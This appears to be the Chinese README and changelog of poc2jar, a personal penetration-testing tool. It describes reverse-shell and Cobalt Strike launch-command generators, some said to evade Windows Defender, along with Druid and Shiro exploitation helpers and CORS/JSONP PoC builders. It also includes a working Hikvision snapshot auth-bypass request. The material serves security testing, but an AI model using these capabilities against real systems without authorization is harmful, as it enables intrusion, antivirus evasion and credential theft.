FAQ常见问题解答
- 修复
cspayload
无法保存的问题(MACOS) - 增加写入文件的指定文件名
- 增加ascii转换模块的逗号模式(遇到一个Spring表达式注入,单双引号无法执行命令,使用byte[]即可执行命令)
- 增加反弹shell模块,部分参考https://www.revshells.com/
- bash模式,exec模式,python模式,php模式,powershell模式
- druid未授权漏洞利用增加自定义请求头字段,针对某些后台的druid或者需要账号密码登录以后才可以访问的druid系统信息的获取
- windows下写入yml带入中文会出错,原因在于windows下默认写的是gbk格式,但是
poc2jar
是使用utf-8读取的,修改写入编码都用utf-8 - windows下请求包都会乱码,
gb2312
没用,原因在于mac上默认编码为utf-8,而windows的默认编码为gbk,导致响应包为utf-8编码的无法解决,同1,修改读取响应编码为utf-8
- 增加
gb2312
编码,适应响应包为乱码的格式
- 将base64解码区分,默认不再模糊base64解码,需要选中按钮进行解码
- 批量url进行利用poc增加代理
- 增加写入文件快捷命令模块,包含windows的set写入、echo写入、certutil-Base64写入、certutil-Hex写入,Liunx的echo写入、echo-Base64写入、Echo-Hex写入
- 调用python脚本模块优化,适配
pocsuite
调用,可搭配 https://github.com/Wrin9 的pocsuite脚本使用。Pocsuite
地址有两种配置方式,可以配置成/usr/local/Cellar/pocsuite3/1.9.1/libexec/bin/pocsuite
这种可执行文件(MacOS可以这么配置),也可以配置成python \xxxxxxx\Python\Python36\Lib\site-packages\pocsuite3\cli.py
以python启动的脚本(Windows可以这么配置)
- 单个url检测
- 批量url检测
- 修复0.56的百分号编码情况,应为解码情况
1.优化URL编码存在非url编码字符的百分号情况
2.实现单个exp大类的单个url测试
3.增加单个url测试时的代理功能
4.增加文件Base64
和bytes
编码,具体实战可参考https://mp.weixin.qq.com/s/outtxUANOa406ErGleWjtQ
1.修复命令模块下的bash编码错误的问题
2.修复CS命令上线第一条命令少了"
的问题
修复shiro解密逻辑
增加shiro AES GCM解密,原工具https://github.com/r00tuser111/SerializationDumper-Shiro 只支持AES CBC
另shiro key增加到1208个,参考项目https://github.com/SummerSec/ShiroAttack2
修复windows下进程查找模块乱码问题,原因还是和之前一样的,文本编码应该为gbk
增加提取路径模块,工作中会遇到要提取一些路径问题,这里我简单举两个例子,web.xml下,显示了一些配置文件,诸如/WEB-INF/xxx文件,但是有很多,手动查找起来特别慢,这里直接使用工具
再比如说,我们要去通过web.xml去读取源码,那么我们就要去获取类名,但是一个个去匹配,比较麻烦,也可以使用工具匹配
也可以直接请求url进行匹配,如下
也可以用于其他方面,如spring下的未授权接口收集,直接访问授权页面的即可收集所有spring的接口 也可以直接请求url进行匹配,如下
修复druid解密模块的问题,原版本中存在无法解密问题(1.0.16+版本)
AES模块增加key、iv的模式(Base64、Hex)、补位模式
修复cors poc生成的双引号问题
增加AES、DES加解密模块
增加部分常用命令(https://xz.aliyun.com/t/10699)
优化了tasklist的进程查找
todo:添加aes、des加解密的模块
增加shiro RememberMe参数解密模块,取自https://github.com/r00tuser111/SerializationDumper-Shiro
增加反编译工具fernflower.jar、shiro key文件keys.conf
新增模块
1.增加CORS漏洞poc生成、JSONP漏洞poc生成,在日常挖洞过程中,会遇到cors、jsonp,有些是安服项目,有些是src项目,但是每次遇到这些漏洞,poc的生成会比较麻烦,像我自己平时也会挖掘一些漏洞交到src混混奖励等等
模块演示环境取自DoraBox(https://github.com/0verSp4ce/DoraBox)
CORS生成模块:
导出文件为poc2jar-cors.html
访问poc2jar-cors.html,即可看到弹窗:
这里有个CORS的小tips,在一些src站点中,把js代码保存成js文件,然后上传个新的html引用这个js文件,在一些环境中就可以执行了
JSONP模块:
导出文件为poc2jar-jsonp.html
访问poc2jar-jsonp.html,即可看到弹窗
优化部分: Python脚本模块增加报错机制,具体实现为:
Process pro = Runtime.getRuntime().exec(commands);
InputStream Output = pro.getInputStream(); // Output为正常信息
InputStream errorOutput = pro.getErrorStream(); // errorOutput为报错信息
增加druid未授权漏洞利用,可以查看到jdbc链接、数据库用户名、sql语句、访问的uri、SESSION值 简单说下为什么要收集这些信息,jdbc的数据库名称、用户名、密码都有可能是一样的,这里收集也是为了站点的信息收集;
sql语句的一些变量可以收集起来进行fuzz,针对同一类开发团队来说,以及一些路由的可能语句;
uri信息这里做了jdbc执行次数的降序排列,也就是最上面的可能就是系统执行sql语句的路由,可以重点看下;
SESSION值,大家应该都知道,看SESSION的有效性了;
还有一个小优化就是bash命令增加去掉花括号和bash -c的版本,感谢@金鱼 师傅完善
发现python模块下的脚本可能会未响应,后续增加脚本的延时跳出未响应状态 (迭代的时候发现properties被覆盖了,已经更正过来,感谢@Tukali 师傅提交issue)
1.base64解码优化,遇到奇数编码会报错,由于没有处理好报错问题,导致程序出错,优化如下:
(如该种解码只出现了三种情况,其他情况报错忽略)
1.base64模块解码加入分段猜解,类似base64编码中可能存在部分非base64的加密部分,剔除后进行base64解密。参考(https://xz.aliyun.com/t/7779)
测试base64: RuYW1lPVRfWlBHTF9ER1dSU0pHWlNYJklzaGFzWVBYSEJ5ZmlsZWQ9JnNlbGVjdGZpZWxkSWRzPSwmc2VsZWN0ZmllbGRJZHNWYWx1ZT0sY29td2lzZWR1Y29td2lzZWR1c3VibWl0PXRydWUmeXB4aHZhbHVlPTI3OTQ2Jn
2.优化cs payload,可以进行按钮保存,方便之后打开使用
优化windows下的启动参数,由于mac下java默认是utf-8,windows下java默认是gbk
windows下
导致有师傅提了issue,这里思考了一下,把文本文档的编码更改一下应该就行了,windows下双击打开jar:
1.增加命令模块(Bash模块、PowerShell模块、Python模块、Perl模块),参考http://www.jackson-t.ca/runtime-exec-payloads.html
2.增加cs快速生成命令模块,第二三四条可以绕过windows defender的上线命令,第一条只是做了加号处理
3.优化windows下体验(由于没在windows下测试,导致windows之前的jar都打不开,0.42开始,windows和mac都会进行一次测试)
todo:base64模块解码加入猜解,参考(https://xz.aliyun.com/t/7779)
1.优化listview选择列表事件,可通过上下方向键进行选择,
由于使用方向键可以移动光标位置,所以可以通过监听onKeyReleased事件来实现,具体实现逻辑如下:
添加监听事件:
onKeyReleased="#mListView1Click2"
事件定义为:
public void mListView1Click2(KeyEvent event)
函数为:
mListView1.getSelectionModel().getSelectedItem()
通过读取光标来进行获取listview选中的内容
2.去除了文件中会显示.DS_store文件
4.增加编码模块(Unicode、URL、Base64、Hex、Html、ascii编码),由于平时编码工具很少,要么是burp的编码模块,很难用,要么是某些在线网站,在线网站进行编码,需要有互联网,就导致了在一些内网环境中无法进行编码、解码,所以写了进去,简单介绍下:
Unicode模块(遇见一些网页响应包里的无法转码,可以尝试这个模块)
URL模块(有些在URL里以百分号存在的字符,可以尝试这个模块)
Base64模块(形如base64格式的,可以尝试这个模块)
ascii模块(一般是在SQL注入中会用到,取ascii码进行比对)
1.完善密码模块对druid密码的解密,在druid 1.0.16版本及之前 发现有些时候poc利用的还不是很好,emmm在思考怎么优化
2.python运行命令可在调用python脚本手动设置。
3.将python固定至jar包内部,减少config.properties文件;将test.txt固定至jar包内部,减少test.txt文件(对macos来说,windows还未适配)
后续看看windows怎么减少config.properties文件和test.txt文件,文件说明在最下面都有解释
基本已经完成我所需要的功能了,后续看有必要再次更新
1.批量模块更改为python批量,默认用的python3,所以需要配置一下python3命令。(emmm后续再看看改成go试试)
2.添加finalshell密码解密
3.添加seeyon数据库密码解密
注:
1.增加了pythonexp/poc2jarpiliang.py、url.txt文件,最好重新下载一遍项目里的txt
2.property/config.properties增加python2、python3,python脚本默认python2执行
个人写的很简陋的poc工具,每次遇到新的漏洞爆发出来,都要去复现,复现好以后保存到哪里就成了一个问题了,写这个工具,就是为了解决这个问题,希望能集合到个人主机内,然后可以根据不同的poc来使用
工具介绍
举一个很简单的例子,hikvision的漏洞 截取到数据包如下:
GET /onvif-http/snapshot?auth=YWRtaW46MTEK HTTP/1.1
Host:x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
直接放入到poc保存模块里,进行发包 可以看到返回的为二进制的图片,那我们可以把漏洞关键字设置为Content-Type:image/jpeg,只要请求这个路径返回这个,就判断为存在漏洞
满足条件,可以保存为yml文件
填入exp名称、yml文件的名称(这里名称需要带入组件,如这里应该为hikvision/test.yml) 至此,保存yml文件成功
①.对于一些复杂请求的没有做到兼容测试,还是依赖于python模块去执行 暂时没找到好方法替代
②.对于多线程没有处理好 用python替代了
③.对于单个目标可以把对应模块的poc全部测一遍
④.所需要的文件有点多,考虑办法不需要文件,直接写进jar包内 2021.8.14(部分完成)
⑤.考虑和goby、xray格式相同(长久来看)
①.poc文件夹存放poc文件,即yml文件
②.property文件夹存放cmdlists.txt,即常用命令模块;config.properties,即python路径,或者环境变量下python的调用命令;exetest.txt,即tasklist /svc查找的敏感进程;test.txt是保存的请求包
③.pythonexp文件夹存放的python脚本,usage放在了文件第一行,可以进行调用
安装pyyaml库 5.3.1
直接运行jar即可
直接运行jar即可
需要在命令行加入参数编码参数,否则会乱码,即java -jar -Dfile.encoding=utf-8 poc2jar.jar
其实真正的难点在于发请求,尤其是发POST请求,但是没有Content-type这样的漏洞payload的时候,有些漏洞请求是要POST,但是Content-type是不需要的,这就导致了该项目当时停滞不前,遇到一位大佬帮我解决问题,真的太感谢了,此处艾特董神 主要在于setIfNotSet自动加上了Content-type,所以我们重写这个方法 下面给出解决的demo
test类下定义一个setIfNotSet方法
public synchronized void setIfNotSet(String arg0, String arg1) {
// System.out.println("hook: " + arg0);
if ("Content-type".equals(arg0)) {
return;
}
if ("Connection".equals(arg0)) {
return;
}
if ("Accept".equals(arg0)) {
return;
}
super.setIfNotSet(arg0, arg1);
}
继承test类
HttpURLConnection connection = (HttpURLConnection) realUrl.openConnection();
// 设置通用的请求属性
Object target = connection;
if (!target.getClass().equals(sun.net.www.protocol.http.HttpURLConnection.class)) {
//https
Field field1 = connection.getClass().getDeclaredField("delegate");
field1.setAccessible(true);
target = field1.get(connection);
}
Field field2 = sun.net.www.protocol.http.HttpURLConnection.class.getDeclaredField("requests");
field2.setAccessible(true);
test customMessageHeader = new test();
请勿将本项目技术或代码应用在恶意软件制作、软件著作权/知识产权盗取或不当牟利等非法用途中。实施上述行为或利用本项目对非自己著作权所有的程序进行数据嗅探将涉嫌违反《中华人民共和国刑法》第二百一十七条、第二百八十六条,《中华人民共和国网络安全法》《中华人民共和国计算机软件保护条例》等法律规定。本项目提及的技术仅可用于私人学习测试等合法场景中,任何不当利用该技术所造成的刑事、民事责任均与本项目作者无关。